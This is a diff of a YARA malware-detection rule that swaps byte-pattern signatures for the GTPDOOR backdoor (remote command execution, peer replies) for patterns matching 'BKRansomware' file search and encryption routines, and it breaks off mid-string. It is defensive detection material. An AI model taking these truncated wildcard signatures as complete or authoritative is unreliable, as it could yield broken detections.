"TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "GTPDOOR" + tc_detection_type = "Ransomware" + tc_detection_name = "BKRansomware" tc_detection_factor = 5 importance = 25 strings: - $send_result_to_peer_v1_p1 = { - 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 66 89 85 ?? ?? ?? ?? 66 89 95 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 81 BD ?? ?? ?? ?? ?? ?? 77 ?? 0F B7 8D - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? 89 C7 89 D6 FC F3 A4 EB ?? 8D 85 ?? ?? ?? ?? - 8B 55 ?? 89 C1 B8 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? - 8B 55 ?? 8B 45 ?? 89 42 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 89 C2 8D 85 ?? ?? ?? - ?? 01 D0 89 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 0F B7 40 ?? 66 89 45 ?? 8B 45 - ?? 0F B7 10 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B7 45 ?? 66 89 02 8B 45 ?? 89 C2 8D 85 - ?? ?? ?? ?? 01 D0 89 45 ?? 8B 45 ?? C6 40 ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? - 89 C2 8D 85 ?? ?? ?? ?? 01 D0 89 45 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? 66 81 BD ?? ?? ?? - ?? ?? ?? 76 ?? 8B 45 ?? 83 C0 ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? - 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? EB ?? 8B - 45 ?? 83 C0 ?? 0F B7 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 45 ?? - 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 83 - } - $send_result_to_peer_v1_p2 = { - C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B7 85 - ?? ?? ?? ?? 66 89 42 ?? 8B 45 ?? 0F B7 40 ?? 83 C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? - ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 50 ?? 8B 45 ?? 0F B7 40 ?? 8D 04 02 8D - 50 ?? 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 - C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 66 89 - 45 ?? 8B 45 ?? 66 C7 40 ?? ?? ?? 0F B7 4D ?? 8B 5D ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 8B - 40 ?? 89 4C 24 ?? 89 5C 24 ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B6 42 ?? 83 C8 ?? 88 42 ?? 0F B7 45 ?? - 83 C0 ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 66 C7 - 40 ?? ?? ?? 0F B7 45 ?? 83 C0 ?? 8D 95 ?? ?? ?? ?? 89 44 24 ?? 89 14 24 E8 ?? ?? ?? - ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? - ?? ?? ?? 8B 45 ?? 0F B7 40 ?? 66 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F B7 45 ?? 83 - C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 85 - ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F - 5D C3 - } - $execute_remote_command_v1 = { - 55 89 E5 57 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? - B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 03 45 - ?? 66 C7 00 ?? ?? C6 40 ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B - 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 66 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? - ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 0F B7 45 ?? 89 C2 03 55 ?? 8B 45 ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 45 ?? - B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 0F B7 C0 89 45 ?? EB ?? 8B 45 - ?? 89 04 24 E8 ?? ?? ?? ?? 88 45 ?? 80 7D ?? ?? 74 ?? 0F B7 45 ?? 89 C2 03 55 ?? 0F - B6 45 ?? 88 02 66 83 45 ?? ?? 66 81 7D ?? ?? ?? 76 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? - ?? 0F B7 45 ?? 89 45 ?? 8B 45 ?? 83 C4 ?? 5F 5D C3 - } - $send_reply_v1_p1 = { - 55 89 E5 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 - 45 ?? 8D 85 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 14 24 E8 ?? ?? ?? ?? 8B 55 ?? 0F B6 02 83 E0 ?? 83 C8 ?? 88 02 8B 55 ?? 0F B6 02 83 - E0 ?? 83 C8 ?? 88 02 8B 45 ?? C6 40 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 - 8B 45 ?? 66 89 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? - C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E0 ?? 8B 55 ?? 89 C1 83 E1 ?? 0F B6 42 ?? 83 - E0 ?? 09 C8 88 42 ?? 8B 45 ?? 0F B6 50 ?? 8B 45 ?? 88 50 ?? 8B 45 ?? C6 40 ?? ?? 8B - 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 50 ?? C7 44 24 ?? ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 - ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? - ?? 89 45 ?? 8B 45 ?? 0F B7 50 ?? 8B 45 ?? 66 89 10 8B 45 ?? 0F B7 10 8B 45 ?? 66 89 - 50 ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 04 24 E8 ?? - ?? ?? ?? 66 89 45 ?? 0F B7 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 89 50 ?? 8B 45 ?? 89 04 24 E8 ?? ?? - ?? ?? 89 C2 8B 45 ?? 89 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 - 89 50 ?? EB ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 C2 8B 45 ?? 89 50 ?? 8B 45 ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 89 - } - $send_reply_v1_p2 = { - 50 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 55 ?? 0F B6 - 42 ?? 83 E0 ?? 88 42 ?? 8B 55 ?? 0F B6 42 ?? 83 E0 ?? 83 C8 ?? 88 42 ?? 8B 45 ?? C6 - 40 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8B 45 ?? 8B - 40 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 - 85 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? - 8D 85 ?? ?? ?? ?? 8D 48 ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? - 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 - 24 E8 ?? ?? ?? ?? 89 C2 8B 45 ?? 66 89 50 ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 - 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? - 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8B - 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 - } - $send_reply_v1_p3 = { - 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8D 85 ?? ?? ?? ?? 8D 48 - ?? 8B 55 ?? 8B 02 89 01 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 ?? 89 41 ?? 8B 42 - ?? 89 41 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 95 - ?? ?? ?? ?? A1 ?? ?? ?? ?? 39 C2 0F 85 ?? ?? ?? ?? 8B 45 ?? 0F B6 40 ?? 3C ?? 74 ?? - 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 8B 04 C5 ?? ?? ?? ?? 85 C0 75 - ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 8B 14 C5 ?? ?? ?? ?? B8 ?? - ?? ?? ?? 29 D0 89 C1 B8 ?? ?? ?? ?? D3 E0 89 45 ?? 8B 45 ?? 8B 04 C5 ?? ?? ?? ?? 23 - 45 ?? 89 45 ?? 8B 45 ?? 23 45 ?? 89 45 ?? 8B 45 ?? 3B 45 ?? 75 ?? C7 45 ?? ?? ?? ?? - ?? EB ?? 83 45 ?? ?? 83 7D ?? ?? 7E ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? - ?? 75 ?? 8B 45 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - 8B 0D ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - } - $daemon_already_running_check_v1 = { - 55 89 E5 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 74 ?? E8 - ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? EB ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE - 89 C8 F7 D0 83 E8 ?? 83 C0 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 5F 5D C3 - } - $send_result_to_peer_v2_p1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89 8D ?? - ?? ?? ?? 44 89 C0 66 89 95 ?? ?? FF FF 66 89 85 ?? ?? FF FF 48 8D BD ?? ?? ?? ?? BA - ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 81 BD ?? ?? FF FF - ?? ?? 77 ?? 0F B7 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C7 - 48 89 D6 FC F3 A4 EB ?? 48 8D 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C7 48 89 D6 - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? - 89 45 ?? 48 8B 45 ?? 8B 50 ?? 48 8B 45 ?? 89 50 ?? 48 8B 55 ?? 8B 45 ?? 89 42 ?? 8B - 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 - 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 48 8B 45 ?? 0F B7 40 ?? 66 89 45 ?? 48 8B 45 ?? 0F - B7 10 48 8B 45 ?? 66 89 50 ?? 48 8B 55 ?? 0F B7 45 ?? 66 89 02 8B 45 ?? 48 98 48 89 - C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? C6 40 ?? ?? 8B 45 ?? 83 C0 - ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 48 8B - 45 ?? 66 C7 40 ?? ?? ?? 66 81 BD ?? ?? FF FF ?? ?? 76 ?? 48 8B 45 ?? 48 83 C0 ?? BF - ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 49 89 C0 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? - ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 66 C7 40 - ?? ?? ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 0F B7 8D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8B 95 - ?? ?? ?? ?? 49 89 C0 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 83 C0 ?? 0F - } - $send_result_to_peer_v2_p2 = { - B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 55 ?? 0F B7 85 ?? ?? ?? ?? - 66 89 42 ?? 48 8B 45 ?? 0F B7 40 ?? 83 C0 ?? 0F B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 - ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 50 ?? 48 8B 45 ?? 0F B7 40 ?? 8D 04 02 8D 50 ?? 48 - 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 89 C2 48 8B 45 - ?? 66 89 50 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 66 89 45 ?? 48 8B 45 - ?? 66 C7 40 ?? ?? ?? 0F B7 4D ?? 48 8B 7D ?? 48 8B 45 ?? 8B 50 ?? 48 8B 45 ?? 8B 70 - ?? 41 89 C8 48 89 F9 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 - 8B 55 ?? 0F B6 42 ?? 83 C8 ?? 88 42 ?? 0F B7 45 ?? 83 C0 ?? 0F B7 F8 E8 ?? ?? ?? ?? - 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 66 C7 40 ?? ?? ?? 0F B7 45 ?? 83 C0 ?? 89 - C6 48 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 66 89 50 ?? 48 8B 45 ?? 8B - 40 ?? 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 8B 45 ?? 0F B7 40 ?? 66 89 85 - ?? ?? FF FF 48 8D 95 ?? ?? ?? ?? 0F B7 45 ?? 48 83 C0 ?? 48 8D B5 ?? ?? ?? ?? 8B BD - ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 D0 B9 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? C9 C3 - } - $execute_remote_command_v2 = { - 55 48 89 E5 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 8B 75 ?? 48 8B 7D ?? E8 ?? ?? ?? - ?? 48 8B 45 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 45 ?? B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE - 48 89 C8 48 F7 D0 48 83 E8 ?? 48 03 45 ?? 66 C7 00 ?? ?? C6 40 ?? ?? 48 8B 45 ?? 48 - C7 C1 ?? ?? ?? ?? 48 89 45 ?? B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE 48 89 C8 48 F7 D0 - 48 83 E8 ?? 66 89 45 ?? 48 8B 7D ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 98 48 89 45 ?? 48 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 48 8B 7D - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 48 89 C7 48 03 7D ?? 48 8B 55 ?? BE ?? - ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 45 ?? - B8 ?? ?? ?? ?? FC 48 8B 7D ?? F2 AE 48 89 C8 48 F7 D0 48 83 E8 ?? 0F B7 C0 89 45 ?? - EB ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 88 45 ?? 80 7D ?? ?? 74 ?? 0F B7 45 ?? 48 89 C2 48 - 03 55 ?? 0F B6 45 ?? 88 02 66 83 45 ?? ?? 66 81 7D ?? ?? ?? 76 ?? 48 8B 7D ?? B8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 89 45 ?? 8B 45 ?? C9 C3 - } - $main_routine_v2_p1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 48 8D BD ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 48 8B 00 48 C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 - 8B BD ?? ?? ?? ?? F2 AE 48 89 C8 48 F7 D0 48 83 E8 ?? 48 83 F8 ?? 76 ?? 48 8B 85 ?? - ?? ?? ?? 48 8B 00 48 C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 8B - BD ?? ?? ?? ?? F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8B 85 ?? ?? ?? ?? 48 8B 00 48 - 89 C7 FC 48 89 D1 B8 ?? ?? ?? ?? F3 AA 48 8B 85 ?? ?? ?? ?? 48 8B 00 C7 00 ?? ?? ?? - ?? C7 40 ?? ?? ?? ?? ?? 66 C7 40 ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? - 75 ?? E8 ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8D ?? - ?? ?? ?? 8B 7D ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 - C0 79 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 BA ?? ?? - ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 8B 7D ?? B9 ?? ?? ?? ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 7E ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 - ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 + $search_files = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F9 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? + 57 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90 + 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? + 8B B5 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B + 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 + 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 C1 ?? 83 C0 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 83 FE ?? 74 ?? + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? + 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 + FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 } - $main_routine_v2_p2 = { - 45 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 F8 E8 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 8B 45 ?? 83 - C0 ?? 89 45 ?? 8B 45 ?? 48 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? 8B - 45 ?? 83 C0 ?? 89 45 ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 - 98 48 89 C2 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 48 8B 45 ?? 48 83 C0 ?? 48 8D 95 ?? ?? ?? ?? 8B 00 89 02 8B 95 ?? ?? ?? ?? 8B 05 ?? - ?? ?? ?? 39 C2 74 ?? 8B 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C8 48 8B 45 ?? 0F B6 - 40 ?? 0F B6 D0 8B 75 ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 48 - 83 C6 ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C8 48 8B 55 ?? 48 83 C2 ?? BF ?? ?? ?? ?? 49 - 89 F0 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 84 C0 0F 84 ?? ?? ?? ?? - 48 8B 45 ?? 0F B6 40 ?? 3C ?? 75 ?? 48 8B 45 ?? 48 83 C0 ?? 8B 00 89 05 ?? ?? ?? ?? - 48 8D BD ?? ?? ?? ?? FC B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AA 48 8D 85 ?? ?? ?? ?? 48 + $encrypt_files_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 57 6A ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F9 68 ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 56 6A ?? 53 FF 15 ?? ?? ?? + ?? 8B F0 68 ?? ?? ?? ?? 57 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? 